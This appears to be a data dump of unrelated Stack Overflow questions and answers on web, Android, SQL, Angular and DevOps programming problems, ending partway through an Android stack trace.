20903795	0	 <p>I think the basic recipe to do this without tabindex (why do you want to do this btw?) would be something like:</p> <pre><code>$(document).on('keypress',function(e) { var keyCode = e.keyCode || e.which; if (keyCode == 9) { //if the key pressed was 'tab'... e.preventDefault(); //put code here to focus on the next tab, //probably using http://api.jquery.com/focus/ .focus() //remember to select the very first tab when you reach the last tab! } }); </code></pre> <p>with thanks to this answer: <a href="http://stackoverflow.com/questions/1314450/jquery-how-to-capture-the-tab-keypress-within-a-textbox">jQuery: How to capture the TAB keypress within a Textbox</a></p>
14001367	0	 <p>What you might be seeing is that until the alert box is dismissed, the code afterwards is not executed. The alert command is a blocking one.</p> <p>Perhaps you can use <code>console.log()</code> for debugging purposes of this feature. This will not block your code and it will be executed on the <code>keydown</code> event.</p>
3269538	0	 <p>I think it will be very useful to you to look at the code of the validator of <a href="http://trac.symfony-project.org/browser/plugins/sfDoctrineGuardPlugin/trunk/lib/validator/sfGuardValidatorUser.class.php" rel="nofollow noreferrer">sfDoctrineGuardPlugin</a>. They create that post validator, and <a href="http://trac.symfony-project.org/browser/plugins/sfDoctrineGuardPlugin/trunk/lib/form/doctrine/base/BasesfGuardFormSignin.class.php" rel="nofollow noreferrer">set it in the form</a>. Even if you don't want to use sfDoctrineGuardPlugin (or sfGuardPlugin if you use Propel) its code can be a valuable source of inspiration. </p>
28971935	0	 <p>The only version of OneNote that is available for Mac OSX is available through the app store.</p> <p>There is no version of OneNote 2010 that works on Mac.</p>
5063262	0	 <p>Sounds like your rendering thread is just sat there waiting for the update thread to finish what its doing which causes the "jitter". Perhaps put in some code that logs how long a thread has to wait for before being allowed access to the other thread to find out if this really is the issue.</p>
20621434	0	 <p>Try the jQuery function <code>val()</code> instead of the non-existant property <code>.value</code>:</p> <pre><code>$('#postcode_entry').val() </code></pre>
21289705	0	 <p>You do not need the <code>'</code> surrounding the <code>?</code>'s.</p> <pre><code>PreparedStatement st = connection.prepareStatement("INSERT INTO Members VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?"); </code></pre> <p><code>BUT</code> the real problem here is you double single quoted one of the <code>?</code> to look like :<code>'?'',</code></p>
35583765	0	 <p>You could possibly INNER JOIN the two result sets</p> <pre><code>select from test1 AS T1 INNER JOIN (select * from test1 where head_Id_Head = 5 and detail_Id_Detail = 4) AS T2 ON T2.company_Id_Company = T1.company_Id_Company where T1.head_Id_Head = 1 and T1.detail_Id_Detail = 7 </code></pre> <p>Or even simpler</p> <pre><code>select * from test1 where head_Id_Head = 1 and detail_Id_Detail = 7 AND company_Id_Company IN (select company_Id_Company from test1 where head_Id_Head = 5 and detail_Id_Detail = 4) </code></pre>
26270537	0	 <p>Your id is null when you submit the form that's why you are getting this error.</p> <p>Either specify the the id parameter nullable as you have done in the get method or </p> <p>store the id in a hidden field to pass it automatically with the model like this</p> <pre><code>@HTML.HiddenFor(Model.id) </code></pre> <p>or pass it manually</p> <pre><code>@HTML.Hidden("id",id) </code></pre>
3537191	0	 <p>Dependency Injection implies you get properly initialized references appearing "by magic".</p> <p>You call the setRequest() method with the request object, but DI frequently also allows for setting the fields without invoking methods.</p> <p>Guice does not as such require a container, but uses class loader magic started in the main method. Would that be useable for you?</p>
24914251	0	how can i detect if JS parameters have extra text? <p>If I have a function with parameters (or argument) like this:</p> <pre><code>check('red', 'blue', 'arial') </code></pre> <p>What i would like to know is can you have text like this:</p> <pre><code>check(background:'red', color:'blue', font:'arial') </code></pre> <p>In the function I have a if statement so if the parameter or argument has background: before it, it changes the background to the parameter after the background:</p> <pre><code> function check(one, two, three){ if (one==background:one){ document.body.style.background= one ; } } </code></pre> <p>I know this doesn't work, how would you do this or something like it?</p> <p>Can I use a if statement but code it to detect if a parameter has 'background:' before it? Is this possible or is there a better way of doing it? I would like to use pure JavaScript if that is possible.</p>
7301549	0	 <p>The browser <em>sends</em> the value of radio buttons only when they are checked.</p> <p>Also, each radio button must have the same name (if you want to user to be able to check only one of them). Only the value changes:</p> <pre><code>print '&lt;input type=checkbox checked value="'.htmlspecialchars($element).'" name=checked_items /&gt;'; </code></pre> <p>POST this and check the value of <code>$_POST['checked_items']</code></p>
40723751	0	Why and I getting: "Invalid regular expression. Uncaught SyntaxError. Invalid escape."? <p>Im trying to create an html input tag that accepts only numbers entered in 1 of 2 formats, and reject all other input. </p> <p>I want to accept numbers in these formats only, including requiring the dashes:</p> <pre><code>1234-12 </code></pre> <p>and </p> <pre><code>1234-12-12 </code></pre> <p><strong>note:</strong> this is not for dates, but rather legal chapter numbers</p> <p>Everything I am reading about regex says that the following should work, but it isn't.</p> <pre><code>&lt;input class="form-control" type="text" pattern="^(\d{4}\-\d{2}\-\d{2})|(\d{4}\-\d{2})$" required /&gt; </code></pre> <p>Devtools Console Error in Chrome:</p> <blockquote> <p>Pattern attribute value <code>^(\d{4}\-\d{2}\-\d{2})|(\d{4}\-\d{2})$</code> is not a valid regular expression: Uncaught SyntaxError: Invalid regular expression: /^(\d{4}-\d{2}-\d{2})|(\d{4}-\d{2})$/: Invalid escape</p> </blockquote>
27493621	0	 <p>You've reached the end of the file. You should be able to do this to go back to the beginning:</p> <pre><code>searchFile.seek(0) </code></pre>
35250889	1	Python uiautomator doesn't works on MacOS <p>I wanna use uiautomator on Python to test some android apps. </p> <p>When I run this single code:</p> <pre><code>from uiautomator import device as d d.screen.on() </code></pre> <p>that show me the error below:</p> <pre><code>Traceback (most recent call last): File "cerrar.py", line 8, in &lt;module&gt; d.screen.on() File "/usr/local/lib/python2.7/site-packages/uiautomator/__init__.py", line 813, in on return devive_self.wakeup() </code></pre> <p>...</p> <pre><code>"$ANDROID_HOME environment not set." </code></pre> <p>I already have done the environment variables with:</p> <pre><code>vi ~/.bash_profile export ANDROID_HOME=/Applications/android-sdk-macosx export PATH=${PATH}:$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools source ~/.bash_profile </code></pre> <p>Both ways android-sdk installed by android website or brew install, was tried it.</p> <p>if I run: <code>echo $ANDROID_HOME</code> or <code>adb devices</code> or <code>android</code></p> <p>Does works well...</p> <p>I can't understand what's going on whether the environment variables exists.</p> <p>My equip is: MacBook Pro Yosemite OS</p>
10918758	0	 <p>I assume this causes the problems in your code within the onItemSelected()-method:</p> <pre><code>player1.findViewById(R.id.editTextPlayer1); player2.findViewById(R.id.editTextPlayer2); //... </code></pre> <p>The method findViewById() returns a sub view of another view or of the main view of the activity. In your case the references seem to be Null pointers and you also do not handle the result, which would be the only reason to use the method.</p> <p>You should set these references only once in your onCreate()-method:</p> <pre><code>spinner = (Spinner)findViewById(R.id.spinnerplayers); //... player1 = (EditText)findViewById(R.id.editTextPlayer1); player2 = (EditText)findViewById(R.id.editTextPlayer2); //... </code></pre> <p>This way all your references are valid after onCreate() and you can access them securely in the onItemSelected() method (which I assume caused the NullPointerException)</p>
11119015	0	Rearrange table row in basis of class using javascript <p>For example, I have this code:</p> <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td class="last"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="last"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="another"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="another"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>I want this to be set like this using javascript:</p> <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td class="another"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="another"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="last"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td class="last"&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>Just what is needed is, javascript should detect td with class "last" and take whole table row to bottom of the table.</p>
27707260	0	 <p>To create just the strings you need, you could also do:</p> <pre><code> x &lt;- rep(seq(2002, 2014, 1), 4) x &lt;- sort(x) y &lt;- rep(seq(1, 4, 1), 12) rows &lt;- paste(x, y, sep = ".") &gt; rows [1] "2002.1" "2002.2" "2002.3" "2002.4" "2003.1" "2003.2" "2003.3" "2003.4" [9] "2004.1" "2004.2" "2004.3" "2004.4" "2005.1" "2005.2" "2005.3" "2005.4" [17] "2006.1" "2006.2" "2006.3" "2006.4" "2007.1" "2007.2" "2007.3" "2007.4" [25] "2008.1" "2008.2" "2008.3" "2008.4" "2009.1" "2009.2" "2009.3" "2009.4" [33] "2010.1" "2010.2" "2010.3" "2010.4" "2011.1" "2011.2" "2011.3" "2011.4" [41] "2012.1" "2012.2" "2012.3" "2012.4" "2013.1" "2013.2" "2013.3" "2013.4" [49] "2014.1" "2014.2" "2014.3" "2014.4" </code></pre>
16310139	0	 <pre><code>CREATE LOGIN [IIS APPPOOL\MyAppPool] FROM WINDOWS; CREATE USER MyAppPoolUser FOR LOGIN [IIS APPPOOL\MyAppPool]; </code></pre>
24392234	0	Memory leak when manually compiling directives in Angular <p>I'm trying to manually compile a directive and add it to the DOM via JQuery. The directive is a simple div with an ngClick handler. No JQuery plugins are used in the directive itself (which seems to be the focus of many of the other memory leak threads).</p> <p>If you run a profiler you will find that it leaks nodes. Is there something that can be done to fix this or is it a problem in JQuery/Angular?</p> <p><a href="http://jsfiddle.net/wsgKL/1/" rel="nofollow">Fiddle here</a><br> <a href="http://postimg.org/image/8rx18ln7n/" rel="nofollow">Profiler screenshot</a></p> <p>HTML</p> <pre><code>&lt;div ng-app="TestApp"&gt; &lt;buttons&gt;&lt;/buttons&gt; &lt;div id="container"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>Javascript</p> <pre><code>var ButtonsCtrl = function($scope, $compile) { this.scope = $scope; this.compile = $compile; }; ButtonsCtrl.prototype.toggle = function() { var c = angular.element('#container').children(); if (0 in c &amp;&amp; c[0]) { c.scope().$destroy(); c.remove(); } else { var s = this.scope.$new(); this.compile('&lt;thing color="blue"&gt;&lt;/thing&gt;')(s).appendTo('#container'); } }; var ThingCtrl = function($scope) {}; ThingCtrl.prototype.clicky = function() { alert('test'); }; var module = angular.module('components', []); module.directive('buttons', function() { return { restrict: 'E', template: '&lt;button ng-click="ctrl.toggle()"&gt;toggle&lt;/button&gt;', controller: ButtonsCtrl, controllerAs: 'ctrl' } }); module.directive('thing', function() { return { restrict: 'E', scope: { color: '@' }, template: '&lt;div style="width:50px;height:50px;background:{{color}};" ng-click="ctrl.clicky()"&gt;&lt;/div&gt;', controller: ThingCtrl, controllerAs: 'ctrl' }; }); angular.module('TestApp', ['components']); </code></pre>
34991354	0	 <p>Django's <a href="https://docs.djangoproject.com/en/1.9/topics/auth/default/#django.contrib.auth.authenticate" rel="nofollow"><code>authenticate</code></a> method checks against a <code>username</code>, not an email.</p> <blockquote> <p>It takes credentials in the form of keyword arguments, for the default configuration this is <strong>username</strong> and password.</p> </blockquote> <p>The simple solution to this is, when defining a user, set their username to the same as the email.</p>
16740797	0	 <p>In case (a), What do you expect to happen if the pattern occurs within the 10 lines?</p> <p>Anyway, here are some awk scripts which should work (untested, though; I don't have Solaris):</p> <pre><code># pattern plus 10 lines awk 'n{--n;print}/PATTERN/{if(n==0)print;n=10}' # between two patterns awk '/PATTERN1/,/PATTERN2/{print}' </code></pre> <p>The second one can also be done similarly with <code>sed</code></p>
40997469	0	 <p>Check again into your <code>package.json</code> file their is available <code>node-gyp</code> module or not with version ID if there is not available then add and again install from <code>npm</code>.</p>
38342349	0	 <p>Have you looked into the Comparable interface? You will need to wrap the Map&lt;String,String> inside a new class that has a comparable() method in order to make it sortable. More info here: <a href="https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_comparable.htm" rel="nofollow">https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_comparable.htm</a></p> <pre><code>public class MapWrapper implements Comparable { public Map&lt;String,String&gt; record; public MapWrapper(Map&lt;String,String&gt; record) { this.record = record; } public Integer compareTo(Object compareTo) { MapWrapper compareToMap = (MapWrapper)compareTo; if (record.get('Savings') == compareToMap.record.get('Savings')) return 0; if (record.get('Savings') &gt; compareToMap.record.get('Savings')) return 1; return -1; } } </code></pre> <p>Your list will contain MapWrapper objects instead of Map&lt;String,String>. You can then sort it using List.sort():</p> <pre><code>List&lt;MapWrapper&gt; myList = new MapWrapper[]{}; myList.add(new MapWrapper(new Map&lt;String,String&gt;{'Name'=&gt;'John','Savings'=&gt;'300'})); myList.add(new MapWrapper(new Map&lt;String,String&gt;{'Name'=&gt;'David','Savings'=&gt;'100'})); System.debug(myList); //Unsorted myList.sort(); System.debug(myList); //Sorted </code></pre> <p>If you need to keep your structure as a <code>List&lt;Map&lt;String,String&gt;&gt;</code> without the wrapper, you can still do it but you will need to implement the sort algorithm yourself. The easiest way to do it is using bubble sort. </p>
9205542	0	 <p>After you initialize the PDO object try setting the <a href="http://php.net/manual/en/pdo.setattribute.php" rel="nofollow">error mode</a> higher.</p> <p><code>$db-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);</code></p> <p>The default is <code>PDO::ERRMODE_SILENT</code> which will output no warnings/errors. With this default setting, you have to poll <a href="http://www.php.net/manual/en/pdo.errorinfo.php" rel="nofollow"><code>errorInfo()</code></a> to see error details.</p>
27286288	0	UINavigationBar barButtonItem change back button image and title <p>Is it possible to change the back button on a UINavigationBar and change the title?</p> <p>When I try to set the customView property, I get an image right next to the default button.</p> <p>I use this code</p> <pre><code>self.navigationItem.backBarButtonItem = [[UIBarButtonItem alloc] initWithImage:backButtonImage landscapeImagePhone:nil style:UIBarButtonItemStylePlain target:nil action:nil]; </code></pre> <p>I want the title to be "Back" which is easy enough to do in Storyboard. But the problem is that no matter if I use code above or use customView property, the default back button remains. </p>
3528311	0	Simple Transactions <p>I have 2 linq 2 SQL statements I'd like to be in a transaction (the SQL server is remote, outside firewalls etc) all other communication works but when I wrap these 2 statements in a TransactionScope() I begin having to configure MSDTC which we did, but then there are firewall issues (I think) is there a simpler way?</p> <p>the basics of what I want to do boil down to this: (both are stored procs under the hood)</p> <pre><code>using (var transactionScope = new TransactionScope()) { Repository.DataContext.SubmitChanges(); Repository.DataContext.spDoFinalStuff(tempID, ref finalId); transactionScope.Complete(); } </code></pre> <p>What is the simplest way to achieve this?</p> <p><strong>EDIT:</strong><br> first I got this: The transaction manager has disabled its support for remote/network transactions. (Exception from HRESULT: 0x8004D024) On our servers I followed the instructions <a href="http://stackoverflow.com/questions/320986/transactionscope-error-against-sql-server-2000-the-partner-transaction-manager/321090#321090">here</a> to correct this. However the instructions don't seem to apply to windows 7 (my dev box) see my comment on above answer.</p> <p>after correcting the issue (on the non win7 boxes) I get this: The transaction has already been implicitly or explicitly committed or aborted (Exception from HRESULT: 0x8004D00E) which some googling <a href="http://andrewmyhre.wordpress.com/2008/02/14/how-to-fix-transactionscope-already-been-implicitly-or-explicitly-committed-or-aborted-error/" rel="nofollow noreferrer">suggested</a> may be firewall issue.</p> <p><strong>EDIT</strong><br> I just discovered the remote DB is SQL 2000 </p>
15670439	0	 <p>I think,better option is <strong>Universal App</strong>.</p> <blockquote> <p>The app is large and contains a lot of images. The main drawback of a universal app is that I'm capped at 50MB over-air download, and that the single binary means iPhones get all the iPad images and vice versa.</p> </blockquote> <p>Yes. This is the only difficulty that I measured. However you can clearly specify which images should be load in iPad and which should only load in iPhone by naming it separately. </p> <p>If Im correct , you can use some thing like <code>myImage~iPhone.png or myImage~iPad.png</code></p>
30518201	0	No space between tabpanel and a form element <p>I have a tabPanel where I put a form. There is no space between the tabPanel and the first element of the form. Is there a class in tbs to fix that?</p> <pre><code>&lt;div class="row"&gt; &lt;div class="span12"&gt; &lt;ul class="nav nav-tabs" role="tablist"&gt; &lt;li role="presentation"&gt;&lt;a href="#information" data-toggle="tab"&gt;Information&lt;/a&gt;&lt;/li&gt; &lt;li role="presentation" class="active"&gt;&lt;a href="#contactReference" data-toggle="tab"&gt;Référence&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id='content' class="tab-content"&gt; &lt;div role="tabpanel" class="tab-pane" id="information"&gt; &lt;div class="row"&gt; &lt;div class="span12"&gt; &lt;form class="form-horizontal" role="form"&gt; &lt;div class="form-group"&gt; &lt;label for="lastName" class="col-sm-2 control-label"&gt;Nom&lt;/label&gt; &lt;div class="col-sm-10"&gt; &lt;input type="text" class="form-control" id="lastName" placeholder="Entrer le nom" /&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p></p> <p><a href="https://jsfiddle.net/DTcHh/8262/" rel="nofollow">demo</a></p>
23020697	0	 <p>From the Flask <code>Request</code> class documentation:</p> <blockquote> <p><strong>json</strong></p> <p>If the mimetype is application/json this will contain the parsed JSON data. Otherwise this will be None.</p> <p>The get_json() method should be used instead.</p> </blockquote> <p>I think your problem appears because request.form doesn't contain <code>hosts</code> key (contains something else), because your mimetype is not json (application/json).</p> <p>For a more precise answer please write what comes in <code>request.form</code>?</p>
32275703	0	 <p>Personally I would have a count that tracks the current 'click' that the user is on, like so:</p> <pre><code>protected void btnPrevious_Click1(object sender, EventArgs e) { if(stepCount == 0) //Ensuring that we never get into minus numbers stepCount = 0; stepCount--; DAL.TicketsDataSetTableAdapters.TicketDetailsTableAdapter eobj = new DAL.TicketsDataSetTableAdapters.TicketDetailsTableAdapter(); DataTable dt = new DataTable(); dt = eobj.GetTicketUpdates(txtSupportRef.Text); txtNextStep.Text = eobj.GetTicketData(txtSupportRef.Text).Rows[0][stepCount].ToString(); } protected void btnNext_Click1(object sender, EventArgs e) { if(stepCount == 0) //Ensuring that we never get into minus numbers stepCount = 0; stepCount++; DAL.TicketsDataSetTableAdapters.TicketDetailsTableAdapter eobj = new DAL.TicketsDataSetTableAdapters.TicketDetailsTableAdapter(); DataTable dt = new DataTable(); dt = eobj.GetTicketUpdates(txtSupportRef.Text); txtNextStep.Text = eobj.GetTicketData(txtSupportRef.Text).Rows[0][stepCount].ToString(); } </code></pre> <p>You could also add a check in the next button click to check if the user is currently on the <strong>last record</strong> and if they are, send them to the start of the records list again.</p>
6634493	0	Can I save flash game and play it without being connected to the Internet? <p>Not sure if this question belongs on SO but ...</p> <p>Can I play <a href="http://www.flashtowerdefence.com/flash/145/Desktop_Tower_Defense_1_9.html" rel="nofollow">Desktop Tower Defense</a> without being connected to the Internet?</p> <p>I can load the page and then disconnect from the net but my question is if I can download the game and play any time without connecting to the net.</p>
28623723	0	 <p>If you just want to reverse string, then use:</p> <pre><code>DECLARE @string VARCHAR(10) = 'mystring' SELECT REVERSE(@string) </code></pre>
28869430	0	 <p>Here's my solution:</p> <pre><code>var items = [ { id: 1, name: 'bill' }, { id: 2, name: 'sam' }, { id: 3, name: 'mary' }, { id: 4, name: 'jane' } ]; var order = [ { id: 1, sortindex: 4 }, { id: 2, sortindex: 2 }, { id: 3, sortindex: 1 }, { id: 4, sortindex: 3 } ]; _(items) .indexBy('id') .at(_.pluck(_.sortBy(order, 'sortindex'), 'id')) .pluck('name') .value(); // → [ 'mary', 'sam', 'jane', 'bill' ] </code></pre> <p>Here's what's going on:</p> <ul> <li>The <a href="https://lodash.com/docs#indexBy" rel="nofollow">indexBy()</a> function transforms <code>items</code> into an object, where the <code>id</code> values are the keys.</li> <li>The <a href="https://lodash.com/docs#at" rel="nofollow">at()</a> function gets values from the object, <strong>in order</strong>, of the passed in keys.</li> <li>The <a href="https://lodash.com/docs#sortBy" rel="nofollow">sortBy()</a> function sorts <code>order</code> by the <code>sortindex</code> key.</li> <li>The <a href="https://lodash.com/docs#pluck" rel="nofollow">pluck()</a> function gets the sorted <code>id</code> array.</li> </ul>
35066320	0	What is groupId and artifactId of jar built by Intellij Idea? <p>I built <code>jar</code> of project in <code>Intellij Idea</code>(<code>Build</code>-<code>Build Artifact</code>), and I'm trying to add it to another project that uses <code>Maven</code>. I have to add it to <code>pom.xml</code>, but I need to know groupId, artifactId and version of my <code>jar</code>.</p>
32377786	0	 <p>If you're gathering facts, you can access hostvars via the normal jinja2 + variable lookup:</p> <p>e.g. </p> <pre><code>- hosts: serverA.example.org gather_facts: True ... tasks: - set_fact: taco_tuesday: False </code></pre> <p>and then, if this has run, on another host:</p> <pre><code>- hosts: serverB.example.org ... tasks: - debug: var="{{ hostvars['serverA.example.org']['ansible_memtotal_mb'] }}" - debug: var="{{ hostvars['serverA.example.org']['taco_tuesday'] }}" </code></pre> <p>Keep in mind that if you have multiple Ansible control machines (where you call <code>ansible</code> and <code>ansible-playbook</code> from), you should take advantage of the fact that Ansible can store its <a href="http://docs.ansible.com/ansible/playbooks_variables.html#fact-caching" rel="nofollow">facts/variables in a cache</a> (currently Redis and json), that way the control machines are less likely to have different hostvars. With this, you could set your control machines to use a file in a shared folder (which has its risks -- what if two control machines are running on the same host at the same time?), or set/get facts from a Redis server.</p> <p>For my uses of Amazon data, I prefer to just fetch the resource each time using a tag/metadata lookup. I wrote an <a href="https://github.com/tfishersp/aws_tag" rel="nofollow">Ansible plugin</a> that allows me to do this a little more easily as I prefer this to thinking about hostvars and run ordering (but your mileage may vary).</p>
35820286	0	 <p>I think the issue is about images color profiling which can lead to different rendering on different browsers.</p> <p>You can read more about it here: <a href="https://css-tricks.com/color-rendering-difference-firefox-vs-safari/" rel="nofollow">https://css-tricks.com/color-rendering-difference-firefox-vs-safari/</a></p> <p><strong>EDIT:</strong></p> <p>Your img has a <em>RGB</em> profile. So I converted it to <em>sRGB</em> which is the recommended color profile for the web.</p> <p>OUTPUT:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.bg{ background:#DE9964; width:332px; height:91px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;img src="http://i68.tinypic.com/29bld6r.png"&gt; &lt;div class="bg"&gt;&lt;/div&gt;</code></pre> </div> </div> </p> <p>Now it should look the same both on Chrome and Safari. </p> <p>Tested on Mac OS X - Chrome 48.0 and Safari 9.0.3</p>
34935044	0	 <p>Your solution will almost definitely end up involving <code>ssh</code> in some capacity.</p> <p>You may want something to help manage the execution of commands on multiple servers; <a href="http://www.ansible.com/" rel="nofollow">ansible</a> is a great choice for something like this.</p> <p>For example, if I want to install <code>libvirt</code> on a bunch of servers and make sure <code>libvirtd</code> is running, I might pass a configuration like this to <code>ansible-playbook</code>:</p> <pre><code>- hosts: all tasks: - yum: name: libvirt state: installed - service: name: libvirtd state: running enabled: true </code></pre> <p>This would ssh to all of the servers in my "inventory" (a file -- or command -- that provides ansible with a list of servers), install the <code>libvirt</code> package, start <code>libvirtd</code>, and then arrange for the service to start automatically at boot.</p> <p>Alternatively, if I want to run <code>puppet apply</code> on a bunch of servers, I could just use the <code>ansible</code> command to run an ad-hoc command without requiring a configuration file:</p> <pre><code>ansible all -m command -a 'puppet apply' </code></pre>
25741535	0	 <p>Single product is displayed from wp-content\plugins\woocommerce\templates\single-product.php </p> <p>This file (wp-content\plugins\woocommerce\templates\content-single-product.php) is called from single-product.php for adding content and add-to-cart button on single product page. </p>
34795069	0	 <p>This is <strong>placement new</strong> syntax. It constructs an object of type <code>FBatchedLine</code> at the memory pointed to by <code>BatchedLines</code> with the constructor arguments <code>(Start, End, Color, LifeTime, Thickness, DepthPriority)</code>. After the call, <code>BatchedLines</code> can be used to reference the constructed object.</p> <p>Informally, you could imagine invoking the constructor with <code>BatchedLines</code> being <code>this</code>.</p>
2248138	0	How to expose xaml properties? <p>I created a ComboBox subclass and added my functionality.</p> <p>Now I want to expose external properties of the TextBox for example:</p> <pre><code>&lt;a:MyComboBox SpellCheck.IsEnabled="True" TextBox.SelectedText="{Binding X}" /&gt; </code></pre> <p>Is this possible, I maybe didn't choose the wrong particular property but I guess you understand what I mean.</p> <p>Is this possible?<br> Do I have to create all the properties individually?</p>
3261708	0	Vim (MacVim) backword key problem under insert mode <p>Look, this is driving me crazy. Under insert mode, when I select a word with mouse (vim shows: --insert(visual)..), and when I press backword key, the cursor would always delete the selected word AND move to one extra word backword. e.g. "a fox jumps". When I tried to delete jumps, after pressing the BS key, vim would delete 'jumps' AS WELL AS the cursor moves to the starting position of 'fox'.</p> <p>What is going on? How to solve this?</p>
11157108	1	OpenCL delete data from RAM <p>I'm coping data in python using OpenCL onto my graphic card. There I've a kernel processing the data with n threads. After this step I copy the result back to python and in a new kernel. (The data is very big 900MB and the result is 100MB) With the result I need to calculate triangles which are about 200MB. All data exceed the memory on my graphic card. </p> <p>I do not need the the first 900MB anymore after the first kernel finished it's work.</p> <p>My question is, how can I delete the first dataset (stored in one array) from the graphic card?</p> <p>Here some code:</p> <pre><code>#Write self.gridBuf = cl.Buffer(self.context, cl.mem_flags.READ_ONLY | cl.mem_flags.COPY_HOST_PTR, hostbuf=self.grid) #DO PART 1 ... #Read result cl.enqueue_read_buffer(self.queue, self.indexBuf,index).wait() </code></pre>
4203615	0	 <p>While this is hardly an easy solution to implement quickly, I find that running Netbeans 6.9 on a multi-core processor works. While it might ramp up on one core, the other (3 in my case) are still free for other tasks. Given that you're on a Mac, YMMV. </p> <p>Of course, it would be better to avoid the CPU hog in the first place, but if you can't find the source, but still love the IDE (as I do)...</p>
6893005	0	 <p>Think outside the box. Which application of the ones you use regularly does this? A debugger of course! But, how can you achieve such a behavior, to emulate a low cpu?</p> <p>The secret to your question is <code>asm _int 3</code>. This is the assembly "pause me" command that is send from the attached debugger to the application you are debugging.</p> <p>More about int 3 to this <a href="http://stackoverflow.com/questions/3747852/int-3-0xcc-x86-asm">question</a>.</p> <p>You can use the code from <a href="http://www.codeproject.com/KB/threads/pausep.aspx" rel="nofollow">this</a> tool to pause/resume your process continuously. You can add an interval and make that tool pause your application for that amount of time.</p> <p>The emulated-cpu-speed would be: (YourCPU/Interval) -0.00001% because of the signaling and other processes running on your machine, but it should do the trick.</p> <p>About the low memory emulation: You can create a wrapper class that allocates memory for the application and replace each allocation with call to this class. You would be able to set exactly the amount of memory your application can use before it fails to allocate more memory.</p> <p>Something such as: <code>MyClass* foo = AllocWrapper(new MyClass(arguments or whatever));</code> Then you can have the AllocWrapper allocating/deallocating memory for you.</p>
2286013	0	 <pre><code>$('#myElement').is(':visible'); </code></pre> <p>Will return <code>true</code> or <code>false</code></p>
18686413	0	Get data from Cursor: null pointer exception <p>I've this two classes:</p> <pre><code>public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); DatabaseHelper helper = new DatabaseHelper(this); String[] temp = new String[] { "40", "35", "28" }; String[] hum = new String[] { "50%", "30%", "80%" }; for (int i = 0; i &lt; temp.length; i++) { helper.insertRecord(temp[i], hum[i]); } Cursor c = helper.getData(); String res = ""; if(c.moveToFirst()) { while(!c.isAfterLast()) { res+=c.getString(0)+" "+c.getString(1)+"\n"; c.moveToNext(); } c.close(); } TextView tv = (TextView) findViewById(R.id.tv); tv.setText(res); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } } public class DatabaseHelper extends SQLiteOpenHelper { private static final String DB_NAME = "database_name"; private static final String TABLE_NAME = "my_table"; private static final String COL_TEMPERATURA = "temperatura"; private static final String COL_UMIDITA = "umidita"; public DatabaseHelper(Context context) { super(context, DB_NAME, null, 33); } @Override public void onCreate(SQLiteDatabase db) { db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME); db.execSQL("CREATE TABLE " + TABLE_NAME + " (" + COL_TEMPERATURA + " TEXT, " + COL_UMIDITA + " TEXT)"); } @Override public void onUpgrade(SQLiteDatabase arg0, int arg1, int arg2) { // TODO Auto-generated method stub } public void insertRecord(String temperatura, String umidita) { SQLiteDatabase db = this.getWritableDatabase(); ContentValues cv = new ContentValues(); cv.put(COL_TEMPERATURA, temperatura); cv.put(COL_UMIDITA, umidita); db.insert(TABLE_NAME, null, cv); db.close(); } public Cursor getData() { SQLiteDatabase db = this.getReadableDatabase(); String[] cols = new String[]{COL_TEMPERATURA, COL_UMIDITA}; Cursor res = db.query(TABLE_NAME, cols, null, null, null, null, null); return res; } } </code></pre> <p>but whew i execute my code, i have a nullpointer exception on MainActivity when i call tv.setText(res);</p> <p>why?</p> <p>Log:</p> <pre><code>09-08 19:25:16.249: E/AndroidRuntime(5911): FATAL EXCEPTION: main 09-08 19:25:16.249: E/AndroidRuntime(5911): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.database/com.example.database.MainActivity}: java.lang.NullPointerException 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2211) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2261) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.ActivityThread.access$600(ActivityThread.java:141) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1256) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.os.Handler.dispatchMessage(Handler.java:99) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.os.Looper.loop(Looper.java:137) 09-08 19:25:16.249: E/AndroidRuntime(5911): at android.app.ActivityThread.main(ActivityThread.java:5103) 09-08 19:25:16.249: 